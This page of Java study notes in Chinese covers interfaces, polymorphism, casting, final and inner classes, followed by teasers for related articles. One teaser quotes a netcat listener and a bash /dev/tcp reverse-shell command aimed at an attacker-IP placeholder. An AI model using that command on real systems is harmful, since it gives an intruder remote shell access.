接口

  就是一种公共规范标准,只要符合规范标准,就可以大家通用,多个类的公告规范,引用数据类型

格式

  public interface 接口名称{}

接口都能定义抽象方法

  public abstract 返回值类型 方法名称();

  修饰符必须是public abstract,但可以省略不写

使用

  接口不能直接使用,必须有一个实现类来实现该接口

  public interface 接口名称{}

  public 实现类名 implements 接口名称{}

  实现类必须覆盖重写接口所有的抽象方法

默认方法

  public default 返回值类型 方法名称(参数列表){}  用于解决接口升级问题,会被实现类继承

静态方法

  public static 返回值类型 方法名称(参数列表){}  不能通过实现类对象调用,通过接口名称直接调用静态方法  接口名称.静态方法()

私有方法

  抽取一个公共方法,用来解决默认方法间重复代码,但不应该被实现类使用

普通私有方法

  private 返回值类型 方法名称(参数列表){}

静态私有方法

  private static 返回值类型 方法名称(参数列表){}

接口中可以定义成员变量,但必须使用public static final修饰,可省略不写

接口中的成员变量必须被赋值,应为成员变量有默认值,而它又是被final修饰。

使用

  接口名称.成员变量名

  建议命名全大写,且用下划线分割

注意事项

  接口没有静态代码块,或者构造方法

  一个类直接父类只有一个,但一个类可以有多个接口

  如果多接口中有重复命名的抽象方法,在实现类中只需要覆盖重写一次即可

  如果有重复的默认方法,实现类要对冲突的默认方法覆盖重写

  父类与接口的默认方法命名发生冲突,优先使用父类的

  接口的继承是多继承的

总结  多个父接口中抽象方法重复,没关系,但默认方法需要覆盖重写。

多态

  一个对象拥有多种形态,父类引用指向之类对象

  父类名 对象名 = new 子类名();  接口名 对象名 = new 实现类名();

直接访问成员变量

  看等号前是谁,就用谁,没有则向上找

间接访问成员变量

  看方法属于谁,就有谁,没有则向上找

成员方法访问

  看new的是谁,优先用谁,没有则向上找

对象的向上转型

  右侧创建一个子类对象,把它当作父类来看待使用,类似与自动类型转换

  如果向上转型,则无法调用子类特用的方法,所以就需要向下转型

对象的向下转型,其实是一个还原的动作,将父类对象还原成本来的子类对象,且只能还原成本来的子类对象

格式

  子类名称 对象名 = (子类名称)父类对象;

在向下转型前需要使用instanceof关键字来判断

  对象 instanceof 类名称

  返回一个boolean值,判断前面的对象能不能当作后面类型的类型

final关键字

  代表最终,不可改变

  可以用来修饰一个类,一个方法,一个局部变量,一个成员变量

当修饰一个类时

  当前类不能被继承,但可以有父类

  一个类如果被final修饰,其中所有成员方法无法被覆盖重写

当修饰一个方法时

  该方法不能被子类覆盖重写,所以abstract关键字与final关键字不能同时使用

一旦用final修饰局部变量,就不能进行修改,所以只能赋值一次

修饰成员变量时

  变量也不可改变,由于成员变量有默认值,所以被final修饰的成员变量一点要被赋值,要么直接赋值,要么通过构造方法赋值

内部类格式

  修饰符 class 类名{

    修饰符 class 内部类名{}

  }

内用外,可以随意访问;外用内,需要内部类对象

定在在一个类中

如何使用成员内部类

  在外部类方法中,使用内部类,然后再main调用外部类方法

  外部.内部 对象名 = new外部().new内部();

内部类访问外部类成员变量

  如果重名的话,救用外部类名.this.成员变量名

局部内部类

  定义在类的一个方法中

格式

  修饰符 class 类名{

    修饰符 返回值类型 方法名(){

      class 类名{}

    }

  }

关于修饰符

  外类:public/(default)

  成员内部类:public/protected/(default)/private

  局部内部类:什么都不i额

如果希望访问所在方法的局部变量,那么局部变量必须是有效final的

匿名内部类

  如果接口的实现类(或是父类的子类)只需要使用唯一一次,那么可是省略该类的定义,而改用匿名内部类

  接口名称 对象名 = new 接口名称(){

    覆盖重写所有抽象方法

  };

注意事项

  在创建对象时,只能使用唯一一次

将class作为成员变量

interface作为成员变量

interface作为方法参数和返回值类型

java-day09的更多相关文章

  1. java - day09 - summerize

    猜字母游戏 package day08_summerize; import java.util.Scanner; import java.util.Random; //猜字母游戏 /** * @aut ...

  2. Spark案例分析

    一.需求:计算网页访问量前三名 import org.apache.spark.rdd.RDD import org.apache.spark.{SparkConf, SparkContext} /* ...

  3. java 多线程 day09 线程池

    import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;import java.util.c ...

  4. Java 学习 day09

    01-面向对象(内部类访问规则) package myFirstCode; /* 内部类的访问规则: 1. 内部类可以直接访问外部类的成员,包括私有private. 之所以可以直接访问外部类中的成员, ...

  5. Java之路---Day09(继承)

    2019-10-23-22:58:23 目录 1.继承 2.区分成员变量重名的方法 3.区分成员方法重名的方法 4.继承中重写与重载的区别 5.继承中覆盖重写的注意事项 6.继承中覆盖重写的设计原则 ...

  6. Java 复习整理day09

    package com.it.demo01_thread; /* 案例: 多线程简介. 概述: 指的是进程有多条执行路径, 统称叫: 多线程. 进程: 指的是可执行程序, 文件(例如: .exe) 大 ...

  7. Java学习day09—-封装和继承

    封装 1.封装 1.1 封装的概念和实现 封装: 属性私有:将属性使用private修饰,表示此属性只能在本类中访问,不让外部直接访问 方法公开:针对每一个属性编写一对公开的方法 get set 分别 ...

  8. java学习第二天多态.day09

    接口 接口总结 接口表示一种规约(规范.标准),它里面定义了一些列抽象方法(功能),它可以被多个类实现. 1接口名称首写字母用I,表示一个接口,后命名使用驼峰命名 2.接口中定义的都是抽象方法,所以可 ...

  9. Java历程-初学篇 Day09 冒泡排序

    冒泡排序 冒泡排序(Bubble Sort)是一种简单的排序算法.它重复地走访过要排序的数列,一次比较两个元素,如果他们的顺序错误就把他们交换过来.走访数列的工作是重复地进行直到没有再需要交换,也就是 ...

  10. [Java拾遗三]JavaWeb基础之Servlet

    Servlet    1,servlet介绍        servlet是一项动态web资源开发技术.        运行在服务器端.        作用:处理业务逻辑,生成动态的内容,返回给浏览器 ...

随机推荐

  1. Linux基本使用命令

    一.常用命令归纳分类 课外网站  http://man.linuxde.net/               http://www.jb51.net/linux/               http ...

  2. Oracle实现行转列+Mybatis

    1.需求 报表需要动态展示某几个公司分别在几个月内销售额情况(前端表头月份是动态的,月时间段是前端参数来选择的,最大为12个月), 页面展示如下 Oracle数据库中数据如下: 可以看到一个公司的月份 ...

  3. 各种反弹shell的总结

    linux自带的bash反弹shell 在攻击机行执行 nc -lvvp 12345 来监听端口 在目标机上执行bash -i >& /dev/tcp/攻击机IP/12345 0> ...

  4. NX二次开发-UFUN创建B面UF_MODL_create_bsurf

    NX9+VS2012 #include <uf.h> #include <uf_modl.h> //创建一个B面 ;//U方向极数 ;//V方向极数 ;//U方向规则 ;//V ...

  5. NX二次开发-C++的vector用法

    #include <algorithm> //vector排序去重 sort( BoxNum.begin(), BoxNum.end()); BoxNum.erase(unique(Box ...

  6. Vue.js - 路由 vue-router 的使用详解2(参数传递)

    一.使用冒号(:)的形式传递参数 1,路由列表的参数设置 (1)路由列表的 path 是可以带参数的,我们在路由配置文件(router/index.js)里以冒号的形式设置参数. (2)下面样例代码中 ...

  7. webconfig节点值里的文字换行问题

    有时候会遇到在配置节点中配置文字的问题,比如: <add key="notice" value="温馨提示:1,感谢您访问; \n 2,谢谢来访"/> ...

  8. C语言进阶学习第三章

    以下记录动态内存分配: 1.malloc和free malloc和free分别用于执行动态内存分配和释放.这些函数维护一个可用内存池,当一个程序需要一些内存时,调用malloc函数,malloc从内存 ...

  9. .net 超链接传值,传过去始终是null

    今天做了一个删除功能,通过点击列表中的删除超链接,通过get请求,跳转到一个处理程序执行删除操作 . 因为不熟悉各种报错 , <%="<td> <a class='d ...

  10. 解决OCX 在 非开发电脑上注册出错的问题

    这几天遇到一个问题,就是在我自己电脑上开发的OCX 放在其他电脑上居然注册失败,管理员运行也不行,老是会蹦出这样的错误,最后呢终于让我找到一个线索就是在开发电脑上可以安装,在无开发环境上很大概率安装失 ...